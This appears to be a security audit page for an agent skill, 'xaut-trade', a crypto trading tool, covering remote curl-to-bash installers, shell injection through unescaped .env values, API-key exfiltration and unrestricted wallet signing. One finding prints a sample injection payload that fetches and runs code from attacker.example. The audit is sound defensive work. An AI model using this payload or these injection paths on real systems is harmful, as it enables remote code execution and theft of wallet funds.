Back to skill

Security audit

xaut-trade

Security checks for vulnerabilities and agentic risk

Overview

This is a disclosed crypto trading skill, but its setup and wallet-signing paths create serious review-worthy risks around credentials, remote installers, and unintended wallet authorization.

Review this skill carefully before installing. Use a dedicated low-value wallet, avoid the Foundry curl-to-bash path unless you independently verify it, do not configure alternate UniswapX endpoints with a production API key, and audit ~/.aurehub/.env for shell metacharacters before any command sources it.

Vulnerability Patterns
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Findings (4)

T03 · Remote Payload Retrieval and Execution

Error
Location
scripts/setup.sh:181
Finding

Unverified Remote Foundry Installer Is Downloaded and Executed

Content
View full analysis
/dev/null; then CAST_VERSION_LINE=$(cast --version | head -1) ok "Foundry already installed: $CAST_VERSION_LINE" else echo -e "\n ${YELLOW}Foundry (cast) is not installed.${NC}" echo -e " About to download and run the official Foundry installer from foundry.paradigm.xyz" echo -e " Source: https://github.com/foundry-rs/foundry" echo read -rp " Proceed with installation? [Y/n]: " CONFIRM_FOUNDRY if [[ "${CONFIRM_FOUNDRY:-}" =~ ^[Nn]$ ]]; then echo -e " Skipped. Install Foundry manually: https://book.getfoundry.sh/getting-started/installation" exit 1 fi echo " Downloading Foundry installer (this may take a moment)..." curl -L https://foundry.paradigm.xyz | bash export PATH="$HOME/.foundry/bin:$PATH" foundryup fi ``` The agent-guided onboarding documentation similarly instructs: ```bash curl -L https://foundry.paradigm.xyz | bash && \ export PATH="$HOME/.foundry/bin:$PATH" && \ foundryup ``` ### Technical Analysis The setup procedure pipes the current response from a mutable external URL directly into Bash. The downloaded content is not pinned to a release, saved for inspection, checked against a cryptographic digest, or verified using a trusted signature. The interactive confirmation in `setup.sh` informs the user that code will be executed, but it does not establish the integrity or authenticity of the payload actually returned. The separate agent-guided onboarding command does not include an execution-time confirmation step in the command itself. Foundry is only required for the optional Foundry wallet mode. WDK mode does not require it, so remote shell execution is not a minimum privilege necessary for the core ...[truncated 1225 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/setup.sh:327
Finding

Persistent Shell Command Injection Through Unescaped .env Values

Content
View full analysis
/dev/null; then sed -i.bak "s|^${key}=.*|${key}=${value}|" "$file" && rm -f "$file.bak" else echo "${key}=${value}" >> "$file" fi } ``` A user-provided RPC URL is interpolated directly into the generated file: ```bash read -rp " Node URL: " INPUT_RPC ETH_RPC_URL="${INPUT_RPC:-$DEFAULT_RPC}" cat > ~/.aurehub/.env << EOF WALLET_MODE=$WALLET_MODE ETH_RPC_URL=$ETH_RPC_URL ETH_RPC_URL_FALLBACK=https://eth.merkle.io,https://rpc.flashbots.net/fast,https://eth.drpc.org,https://ethereum.publicnode.com WDK_PASSWORD_FILE=$HOME/.aurehub/.wdk_password EOF ``` A user-provided rankings nickname is also stored verbatim: ```bash read -rp " Enter your nickname: " RANKINGS_NICKNAME if [ -n "$RANKINGS_NICKNAME" ]; then _env_set "RANKINGS_OPT_IN" "true" _env_set "NICKNAME" "$RANKINGS_NICKNAME" ok "Rankings enabled (nickname: $RANKINGS_NICKNAME)" fi ``` The Skill subsequently treats the file as executable shell syntax: ```bash source ~/.aurehub/.env cd "$SCRIPTS_DIR" node swap.js address ``` ### Technical Analysis The same file is used as both a data configuration file and a shell program. Values such as the nickname and RPC URL can contain shell syntax, including command substitutions. The setup code writes those values without quoting or escaping them for shell use. For example, a nickname containing: ```text $(curl -fsSL https://attacker.example/payload | bash) ``` is initially stored as t ...[truncated 1929 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/limit-order.js:138
Finding

UniswapX API Credential Can Be Exfiltrated to an Arbitrary Configured Endpoint

Content
View full analysis
Remediation
View remediation

T05 · Unauthorized Access and Privilege Escalation

Error
Location
scripts/swap.js:286
Finding

Public CLI Provides Unrestricted Typed-Data Signing With the Trading Wallet

Content
View full analysis
``` There is no validation that: - The EIP-712 domain belongs to canonical Permit2. - The chain ID is Ethereum mainnet. - The primary type is the intended Permit2 order type. - The tokens are canonical USDT and XAUT. - The recipient and swapper equal the selected wallet. - The amount and expiry are within configured limits. - The data was generated by the current `limit-order.js` invocation. - The user explicitly confirmed the exact authorization. The configured wallet is unlocked using local password files, so the operation does not require a fresh interactive password. EIP-712 signatures can grant protocol-specific permissions even though they do not directly reveal the private key. ### Attack Path 1. An attacke ...[truncated 1282 chars]
Remediation
View remediation
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (233)

Known Vulnerable Dependency: @openzeppelin/contracts==3.4.2-solc-0.7 — 5 advisory(ies): CVE-2022-35915 (OpenZeppelin Contracts ERC165Checker unbounded gas consumption); CVE-2021-46320 (Improper Initialization in OpenZeppelin); CVE-2021-46320 (OpenZeppelin Contracts initializer reentrancy may lead to double initialization) +2 more

Critical
Category
Supply Chain
Confidence
96% confidence
Finding

The lockfile includes @openzeppelin/contracts 3.4.2-solc-0.7, a version with multiple published advisories affecting contract helper logic and initializer safety. In a crypto trading skill, vulnerable smart-contract libraries are more dangerous because any generated, referenced, or tested contract patterns may be reused in wallet/trading flows or supporting scripts, increasing the chance of insecure deployment or unsafe assumptions.

Content

No source excerpt is available for this finding.

Known Vulnerable Dependency: @openzeppelin/contracts==3.4.1-solc-0.7-2 — 5 advisory(ies): CVE-2022-35915 (OpenZeppelin Contracts ERC165Checker unbounded gas consumption); CVE-2021-46320 (Improper Initialization in OpenZeppelin); CVE-2021-46320 (OpenZeppelin Contracts initializer reentrancy may lead to double initialization) +2 more

Critical
Category
Supply Chain
Confidence
96% confidence
Finding

The project also pulls @openzeppelin/contracts 3.4.1-solc-0.7-2 through a transitive dependency, and that version carries the same class of published issues. Because this skill operates in an Ethereum/XAUT trading context, stale contract packages in the dependency graph create elevated risk if any contract code, ABI assumptions, or deployment/test utilities are used operationally.

Content

No source excerpt is available for this finding.

External Script Fetching

High
Category
Supply Chain
Confidence
97% confidence
Finding

The README states that setup downloads and executes the Foundry installer via curl | bash, which is classic remote code execution from a mutable network source. In a wallet/trading environment, compromise of the installer path could lead to theft of funds, credential capture, or tampering with transaction-generation tooling.

Content

Scanner excerpt · README.md (reported line 249)May include surrounding context.

md
| Service | When | Data Sent |
|---------|------|-----------|
| foundry.paradigm.xyz | First setup | Downloads and executes Foundry installer (`curl \| bash`) |
| npmjs.com | Limit order setup | Downloads Node.js dependencies |
| Ethereum RPC (configurable) | Every trade | On-chain calls (wallet address, transaction data) |
| UniswapX API (api.uniswap.org) | Limit orders | Order data, wallet address |

External Script Fetching

High
Category
Supply Chain
Confidence
97% confidence
Finding

This explicit endorsement of curl | bash reinforces an unsafe installation pattern that executes remote code immediately. The danger is elevated here because the resulting tooling participates in blockchain transaction workflows and may interact with wallet credentials or signing environments.

Content

Scanner excerpt · README.md (reported line 255)May include surrounding context.

md
| UniswapX API (api.uniswap.org) | Limit orders | Order data, wallet address |
| xaue.com Rankings API | Opt-in only | Wallet address, nickname |

- **Foundry installation** uses `curl | bash`. Review the source at [github.com/foundry-rs/foundry](https://github.com/foundry-rs/foundry) before proceeding. The setup script asks for confirmation before running.
- **Rankings registration** remains opt-in (`RANKINGS_OPT_IN=false` by default). If not enabled during setup, the Agent can prompt once after your first successful trade.
- **All API calls use HTTPS.**

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 272)May include surrounding context.

Q: I see Device not configured (os error 6) in Foundry mode — what do I do?

This happens on macOS when Foundry's keystore cannot access the system Keychain in a non-interactive environment. Fix:

  1. Create a password file and set permissions:
    bash

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The mention of arbitrary signing and nonce-cancellation capabilities, if present in the underlying scripts as the finding states, would be materially broader than a simple XAUT buy/sell skill and would enable non-trading signature actions with wallet authority. In a crypto agent, arbitrary signing is especially sensitive because signatures can authorize off-chain orders, permits, or malicious typed-data approvals without moving funds immediately.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

The mention of arbitrary signing and nonce-cancellation capabilities, if present in the underlying scripts as the finding states, would be materially broader than a simple XAUT buy/sell skill and would enable non-trading signature actions with wallet authority. In a crypto agent, arbitrary signing is especially sensitive because signatures can authorize off-chain orders, permits, or malicious typed-data approvals without moving funds immediately.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The mention of arbitrary signing and nonce-cancellation capabilities, if present in the underlying scripts as the finding states, would be materially broader than a simple XAUT buy/sell skill and would enable non-trading signature actions with wallet authority. In a crypto agent, arbitrary signing is especially sensitive because signatures can authorize off-chain orders, permits, or malicious typed-data approvals without moving funds immediately.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The mention of arbitrary signing and nonce-cancellation capabilities, if present in the underlying scripts as the finding states, would be materially broader than a simple XAUT buy/sell skill and would enable non-trading signature actions with wallet authority. In a crypto agent, arbitrary signing is especially sensitive because signatures can authorize off-chain orders, permits, or malicious typed-data approvals without moving funds immediately.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The mention of arbitrary signing and nonce-cancellation capabilities, if present in the underlying scripts as the finding states, would be materially broader than a simple XAUT buy/sell skill and would enable non-trading signature actions with wallet authority. In a crypto agent, arbitrary signing is especially sensitive because signatures can authorize off-chain orders, permits, or malicious typed-data approvals without moving funds immediately.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The mention of arbitrary signing and nonce-cancellation capabilities, if present in the underlying scripts as the finding states, would be materially broader than a simple XAUT buy/sell skill and would enable non-trading signature actions with wallet authority. In a crypto agent, arbitrary signing is especially sensitive because signatures can authorize off-chain orders, permits, or malicious typed-data approvals without moving funds immediately.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The mention of arbitrary signing and nonce-cancellation capabilities, if present in the underlying scripts as the finding states, would be materially broader than a simple XAUT buy/sell skill and would enable non-trading signature actions with wallet authority. In a crypto agent, arbitrary signing is especially sensitive because signatures can authorize off-chain orders, permits, or malicious typed-data approvals without moving funds immediately.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The mention of arbitrary signing and nonce-cancellation capabilities, if present in the underlying scripts as the finding states, would be materially broader than a simple XAUT buy/sell skill and would enable non-trading signature actions with wallet authority. In a crypto agent, arbitrary signing is especially sensitive because signatures can authorize off-chain orders, permits, or malicious typed-data approvals without moving funds immediately.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

The mention of arbitrary signing and nonce-cancellation capabilities, if present in the underlying scripts as the finding states, would be materially broader than a simple XAUT buy/sell skill and would enable non-trading signature actions with wallet authority. In a crypto agent, arbitrary signing is especially sensitive because signatures can authorize off-chain orders, permits, or malicious typed-data approvals without moving funds immediately.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The mention of arbitrary signing and nonce-cancellation capabilities, if present in the underlying scripts as the finding states, would be materially broader than a simple XAUT buy/sell skill and would enable non-trading signature actions with wallet authority. In a crypto agent, arbitrary signing is especially sensitive because signatures can authorize off-chain orders, permits, or malicious typed-data approvals without moving funds immediately.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The mention of arbitrary signing and nonce-cancellation capabilities, if present in the underlying scripts as the finding states, would be materially broader than a simple XAUT buy/sell skill and would enable non-trading signature actions with wallet authority. In a crypto agent, arbitrary signing is especially sensitive because signatures can authorize off-chain orders, permits, or malicious typed-data approvals without moving funds immediately.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

The skill instructs the agent to source ~/.aurehub/.env, which may contain RPC URLs, API keys, password file paths, and other secrets. Reading environment and wallet configuration is intrinsic to the trading workflow, but it remains dangerous because compromise, prompt injection, or accidental disclosure could expose sensitive credentials or facilitate unauthorized transactions.

Content

Scanner excerpt · SKILL.md (reported line 84)May include surrounding context.

md
1. Does `~/.aurehub/.env` exist: `ls ~/.aurehub/.env`
   Fail -> redirect to the **Setup / Create Wallet Flow** below.
2. Read `WALLET_MODE` from .env: `source ~/.aurehub/.env && echo $WALLET_MODE`
   Fail (missing or empty) -> redirect to the **Setup / Create Wallet Flow** below. Do NOT auto-detect or infer the wallet mode from installed tools (e.g. do not assume Foundry mode just because `cast` is installed). The user must explicitly choose.
3. Does `~/.aurehub/config.yaml` exist: `ls ~/.aurehub/config.yaml`
   Fail -> copy from config.example.yaml (see onboarding Step C1) or redirect to setup.

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Checking the WDK password file path and vault existence requires access patterns around credential material. Even if the contents are not printed, these operations confirm secret locations and readiness, which increases the sensitivity of the skill and the consequences of misuse.

Content

Scanner excerpt · SKILL.md (reported line 90)May include surrounding context.

md
Fail -> copy from config.example.yaml (see onboarding Step C1) or redirect to setup.
4. **If `WALLET_MODE=wdk`:**
   - Check `~/.aurehub/.wdk_vault` exists: `ls ~/.aurehub/.wdk_vault`
   - Check `WDK_PASSWORD_FILE` in .env and file readable: `source ~/.aurehub/.env && test -r "$WDK_PASSWORD_FILE" && echo OK || echo FAIL`
   - Check Node.js >= 18: `node -v`
   - WDK mode has zero `cast` dependency
5. **If `WALLET_MODE=foundry`:**

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Foundry keystore and password-file checks similarly touch credential-bearing assets needed to unlock a signing wallet. In a wallet-enabled agent, any logic that enumerates or validates keystores materially increases sensitivity and should be treated as privileged.

Content

Scanner excerpt · SKILL.md (reported line 95)May include surrounding context.

md
- WDK mode has zero `cast` dependency
5. **If `WALLET_MODE=foundry`:**
   - Check `cast --version` available
   - Check keystore exists: `source ~/.aurehub/.env && ls ~/.foundry/keystores/$FOUNDRY_ACCOUNT`
     (Optional: `cast wallet list` can verify the account name appears in Foundry's keystore)
   - Check `KEYSTORE_PASSWORD_FILE` readable: `source ~/.aurehub/.env && test -r "$KEYSTORE_PASSWORD_FILE" && echo OK || echo FAIL`
   - Check Node.js >= 18: `node -v` (needed for market module)

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

The instruction to source .env and test readability of the keystore password file reveals and depends on secret-bearing local state. This is dangerous in the context of an LLM agent because prompt mistakes or future extensions could leak or misuse the same high-privilege access.

Content

Scanner excerpt · SKILL.md (reported line 97)May include surrounding context.

  • Check cast --version available
    • Check keystore exists: source ~/.aurehub/.env && ls ~/.foundry/keystores/$FOUNDRY_ACCOUNT (Optional: cast wallet list can verify the account name appears in Foundry's keystore)
    • Check KEYSTORE_PASSWORD_FILE readable: source ~/.aurehub/.env && test -r "$KEYSTORE_PASSWORD_FILE" && echo OK || echo FAIL
    • Check Node.js >= 18: node -v (needed for market module)
  1. Both modes: verify wallet loads by resolving SCRIPTS_DIR (see Resolving SCRIPTS_DIR below) and running:
    bash

Credential Access

High
Category
Privilege Escalation
Confidence
96% confidence
Finding

Deriving a wallet address by loading the configured wallet confirms successful access to private signing material. Although necessary for trading, this step means the skill can activate a real wallet and should be treated as high risk because any later command can potentially spend funds.

Content

Scanner excerpt · SKILL.md (reported line 101)May include surrounding context.

  • Check Node.js >= 18: node -v (needed for market module)
  1. Both modes: verify wallet loads by resolving SCRIPTS_DIR (see Resolving SCRIPTS_DIR below) and running:
    bash
    source ~/.aurehub/.env
    cd "$SCRIPTS_DIR"
    node swap.js address
    

Credential Access

High
Category
Privilege Escalation
Confidence
96% confidence
Finding

The skill repeatedly derives WALLET_ADDRESS after sourcing secret configuration, reinforcing that it can unlock or access wallet context. In combination with network and shell access, this creates a high-impact capability set suitable for financial abuse if the skill is invoked unexpectedly.

Content

Scanner excerpt · SKILL.md (reported line 111)May include surrounding context.

md
>
> **WALLET_ADDRESS**: derive it from `node swap.js address` (works for both wallet modes):
> ```bash
> source ~/.aurehub/.env
> cd "$SCRIPTS_DIR"
> WALLET_ADDRESS=$(node swap.js address | node -p "JSON.parse(require('fs').readFileSync(0,'utf8')).address")
> ```

Credential Access

High
Category
Privilege Escalation
Confidence
96% confidence
Finding

Wallet-ready registration derives the wallet address from secret-backed configuration before an optional third-party registration flow. This combines credential access with external transmission potential, making the context more dangerous than a purely local readiness check.

Content

Scanner excerpt · SKILL.md (reported line 255)May include surrounding context.

Derive WALLET_ADDRESS (if an account was selected above, include --account N):

bash
source ~/.aurehub/.env
cd "$SCRIPTS_DIR"
WALLET_ADDRESS=$(node swap.js address | node -p "JSON.parse(require('fs').readFileSync(0,'utf8')).address")

Credential Access

High
Category
Privilege Escalation
Confidence
93% confidence
Finding

Updating wallet mode based on existing WDK assets implies continued reliance on sensitive local configuration and credential-bearing files. State mutation around wallet selection can alter which signing backend is used, affecting the safety of later transactions.

Content

Scanner excerpt · SKILL.md (reported line 329)May include surrounding context.

md
If EXISTS → inform user and stop:
> "WDK wallet already exists. No action needed. To use it, run a trade command (e.g. 'buy 100 USDT of XAUT')."

If the current `WALLET_MODE` in .env is different (e.g. `foundry`), update it to `wdk` and inform:
> "WDK wallet already exists. Switched wallet mode to WDK."

**If user chose Foundry:**

Credential Access

High
Category
Privilege Escalation
Confidence
93% confidence
Finding

The Foundry wallet existence check sources .env and inspects keystore locations, which is privileged credential-adjacent behavior. Even metadata about which wallets exist can aid targeting or accidental misuse in a shared environment.

Content

Scanner excerpt · SKILL.md (reported line 334)May include surrounding context.

If user chose Foundry:

bash
source ~/.aurehub/.env 2>/dev/null
ls ~/.foundry/keystores/${FOUNDRY_ACCOUNT:-aurehub-wallet} 2>/dev/null && echo "EXISTS" || echo "NOT_FOUND"

If EXISTS → inform user and stop:

Static analysis

Detected: suspicious.dangerous_exec, suspicious.env_credential_access, suspicious.exposed_secret_literal (+1 more)

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
scripts/lib/__tests__/create-wallet.test.js:24

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
scripts/limit-order.js:186

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
scripts/limit-order.js:134

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
scripts/setup.sh:589

File appears to expose a hardcoded API secret or token.

Critical
Code
suspicious.exposed_secret_literal
Location
scripts/__tests__/wallet-init.test.js:31

File appears to expose a hardcoded API secret or token.

Critical
Code
suspicious.exposed_secret_literal
Location
scripts/lib/__tests__/create-wallet.test.js:152

File appears to expose a hardcoded API secret or token.

Critical
Code
suspicious.exposed_secret_literal
Location
scripts/lib/__tests__/signer.test.js:109

Instructions pass high-value credentials through process argv.

Critical
Code
suspicious.secret_argv_exposure
Location
references/live-trading-runbook.md:18